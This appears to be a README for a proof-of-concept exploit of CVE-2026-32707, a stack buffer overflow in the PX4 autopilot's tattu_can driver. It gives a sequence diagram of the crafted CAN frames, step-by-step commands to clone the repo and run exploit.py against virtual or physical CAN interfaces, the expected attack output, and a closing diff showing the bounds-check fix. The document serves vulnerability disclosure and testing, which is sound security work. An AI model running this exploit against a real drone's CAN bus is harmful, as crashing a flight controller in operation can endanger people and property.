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║   ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝                    ║
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║                         [ b a n y a m e r _ s e c u r i t y ]                              ║
║                                                                                            ║
║                  ▸ Silent Hunter  |  Shadow Presence  |  Digital Intel ◂                  ║
║                                                                                            ║
║   Operator : Mohammed Idrees Banyamer  •  Jordan 🇯🇴                                       ║
║   Handle   : @banyamer_security                                                           ║
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sequenceDiagram
    participant Attacker as Attacker (CAN Node)
    participant CANbus as CAN Bus
    participant PX4 as PX4 Autopilot (tattu_can)
    
    Attacker->>CANbus: 1. Start frame (DLC=8, data[7]=0x80)
    CANbus->>PX4: Start-of-transfer received
    PX4->>PX4: tattu_message buffer (48 bytes)<br/>Copy offset=5 bytes
    
    loop Overflow frames (7x)
        Attacker->>CANbus: Overflow frame (DLC=8, payload 7 bytes)
        CANbus->>PX4: memcpy(dest+offset, payload, 7)
        PX4->>PX4: offset += 7
    end
    
    Attacker->>CANbus: Final overflow frame (DLC=8)
    CANbus->>PX4: memcpy(dest+offset, payload, 7)
    PX4->>PX4: offset > 48 → STACK OVERFLOW
    PX4-->>PX4: Crash (segfault / hard fault)
    Note over PX4: Denial of Service

# रिपॉजिटरी क्लोन करें
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC

# python-can इंस्टॉल करें
pip3 install python-can

# (वैकल्पिक) परीक्षण के लिए वर्चुअल CAN इंटरफ़ेस बनाएं
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

sudo python3 exploit.py <can_interface>

# वर्चुअल CAN इंटरफ़ेस के माध्यम से एक्सप्लॉइट (सिमुलेशन/परीक्षण के लिए)
sudo python3 exploit.py vcan0

# भौतिक CAN बस के माध्यम से एक्सप्लॉइट
sudo python3 exploit.py can0

[*] Sending start-of-transfer frame on vcan0 (can_id=0x00000123)
[*] Sending 7 overflow frames (each copies 7 bytes)...
[*] Sending final overflow frame...
[+] Attack sequence completed. The PX4 tattu_can driver should now crash.

while (receive(&received_frame) > 0) {
+   if (received_frame.payload_size == 0) {
+       break;
+   }
    size_t payload_size = received_frame.payload_size - 1;
-   // TODO: add check ...
+   if (offset + payload_size > sizeof(tattu_message)) {
+       break;
+   }
    memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
    offset += payload_size;
}